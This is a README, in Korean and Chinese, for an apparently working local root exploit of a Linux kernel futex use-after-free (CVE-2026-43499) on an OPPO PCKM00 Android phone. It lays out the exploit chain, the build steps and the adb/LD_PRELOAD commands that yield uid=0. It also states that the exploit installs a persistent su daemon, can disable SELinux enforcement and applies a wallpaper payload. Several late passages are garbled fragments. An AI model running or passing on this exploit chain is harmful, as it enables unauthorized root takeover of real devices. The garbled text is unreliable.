
CVE-2026-43499 GhostLock futex UAF LPE PoC for OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — Linux 커널 futex 우선순위 상속(priority-inheritance)
use-after-free 로컬 권한 상승 PoC로, **OPPO PCKM00
(OP4A57, SM6150, Android 11, 커널 4.14.180-perf+)**용으로 포팅되었습니다.
DISCLAIMER / 免责声明 이 프로젝트는 공인된 보안 연구 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적으로 테스트 권한을 부여받지 않은 기기에서는 사용하지 마십시오. 익스플로잇 실행 시 커널이 크래시될 수 있습니다. 작성자는 오용이나 손해에 대해 책임을 지지 않습니다.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock)은 Linux 커널 futex 우선순위 상속 코드의 use-after-free 취약점입니다.
이 버그는 rt_mutex_start_proxy_lock()의 프록시 잠금 롤백 경로에서 remove_waiter()가
잘못 사용되는 데서 발생합니다. 해제된 rt_mutex_waiter(커널 스택에 할당됨)가
pselect()에 의해 복사된 공격자 제어 fd_set으로 재해석되어
임의 쓰기(arbitrary-write) 프리미티브를 제공합니다.
영향 범위: Linux 4.x–6.x (2011년 도입). 4.14 시리즈 전체 영향.
전체 분석 및 검증된 심볼 오프셋은 report.md를 참조하세요.
futex requeue-pi UAF
└─> pselect fd_set 스택 복사 (가짜 rt_mutex_waiter / 가짜 task)
└─> 임의 쓰기 (rt_mutex 트리 연산 / sched_setattr)
└─> ashmem_fops 덮어쓰기 -> configfs bin 읽기/쓰기
└─> pipe_buffer 페이지 재작성 (물리적 RW 프리미티브)
└─> 현재 task cred 패치 -> root
PoC는 LD_PRELOAD를 통해 전적으로 사용자 공간에서 실행됩니다 — 기기 재부팅이
필요 없습니다(커널 패닉이 발생하지 않는 한).
다른 4.14 기기로 포팅:
exploit/targets/oppo-pckm00/target.h를 복사하고 커널 이미지에서 심볼 오프셋을 재생성하세요 (analysis/참조).
.
├── report.md # 전체 취약점 분석 및 검증된 오프셋
├── exploit/
│ ├── Makefile # preload.so 빌드 (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD 진입점 + 강제 디스크 로깅 + su
│ │ ├── main.c # 오케스트레이션 (waiter/owner/consumer 스레드)
│ │ ├── slide.c # KASLR 누출 (boot_id / nfulnl 로거)
│ │ ├── fops.c # ashmem_fops 덮어쓰기 + configfs 프리미티브
│ │ ├── pipe.c # pipe_buffer physrw 프리미티브
│ │ ├── root.c # task 탐색 + cred 패치 + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb 페이지 준비, 커널 RW
│ │ ├── su_daemon.c # 내장 su 서버 (드롭인)
│ │ ├── su_blob.S # su_daemon의 .incbin
│ │ └── wallpaper_blob.S # 배경화면 페이로드의 .incbin
│ ├── targets/oppo-pckm00/target.h # 4.14.180 심볼/구조체 오프셋
│ └── assets/wallpaper.webp # 내장 배경화면 페이로드
├── analysis/ # 커널 이미지 / kallsyms 추출 스크립트
└── LICENSE # Apache-2.0 (업스트림 GhostLock과 동일)
Android NDK r29 (aarch64-linux-android30-clang) 필요.
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# NDK를 /opt/ndk/android-ndk-r29에 배치 (linux-x86_64 툴체인)
cd exploit
make wsl
# 또는 직접:
bash ../analysis/build_preload.sh
출력: exploit/preload.so (64비트 aarch64 ELF 공유 객체).
빌드는 또한 su_daemon.c를 PIE 바이너리로 컴파일하고 (배경화면과 함께)
.S 블롭을 통해 .so에 내장합니다.
# 바이너리만 (릴리스 자산 또는 로컬 빌드에서)
adb push preload.so /data/local/tmp/preload.so
# 또는 저장소 구조 사용
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
.so는 LD_PRELOAD를 통해 sh 프로세스에 로드됩니다. 생성자(constructor)가
전체 익스플로잇 체인을 실행하고 결과를 보고합니다:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
성공 시 셸은 다음을 보고합니다:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
현재 프로세스(및 그 자식 프로세스)는 이제 root입니다. su 데몬이
/apex/com.android.virt/bin/su에 설치되고(실패 시 /data/local/tmp/su로 폴백)
내장 배경화면이 지속성/검증 아티팩트로 적용됩니다.
# 실행 후 새 셸에서
adb shell su -c 'id'
# 또는 루트 셸 세션 확보 (대화형 su 클라이언트)
adb shell /data/local/tmp/su
# SELinux가 permissive로 전환되었는지 확인 (selinux 경로가 실행된 경우)
adb shell getenforce
모든 pr_* 진단은 **/sdcard/Download/log_<timestamp>.txt**에도 기록됩니다
(실패 시 /data/local/tmp/log_<timestamp>.txt로 폴백). 모든 줄에 O_SYNC +
fsync()가 적용되어 커널 패닉/재부팅 후에도 로그가 유지됩니다:
adb pull /sdcard/Download/log_*.txt
# 또는 /sdcard가 초기에 마운트되지 않은 경우
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
로그는 모든 단계(KASLR 슬라이드, fops 덮어쓰기, pipe physrw, cred 패치)와
최종 uid_after / ROOT OK 줄을 보여줍니다 — 문제 보고 시 첨부하세요.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # SELinux/cred 상태 또는 배경화면이 수정된 경우
참고: 익스플로잇 실행 시 커널이 크래시될 수 있습니다.
adb가 끊기면 기기가 재부팅될 때까지 기다린 후/sdcard/Download/log_*.txt를 가져오세요 — 강제O_SYNC/fsync로깅이 바로 패닉 후에도 유지되는 부분입니다.
boot_id/nfulnl 로거 경로(slide.c)와 ashmem_fops 검증
패스(fops.c)를 통해 슬라이드를 누출합니다..read/.write 사용 (read_iter/write_iter 없음),ashmem_fops에 show_fdinfo 없음,generic_file_splice_read가 copy_splice_read를 대체,selinux_enforcing은 struct selinux_state 내부에 위치,rt_mutex_waiter / / 레이아웃.IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — LICENSE 참조.
| 필드 | 값 |
|---|
| 기기 | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| 보안 패치 | 2022-09-05 |
| 커널 | 4.14.180-perf+ (arm64, clang 10.0.7) |
| 빌드 | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
pipe_inode_infocredtask_struct.seccomp)은 최선의 추정치입니다. seccomp
패치 실패는 cred 덮어쓰기 root를 차단하지 않습니다.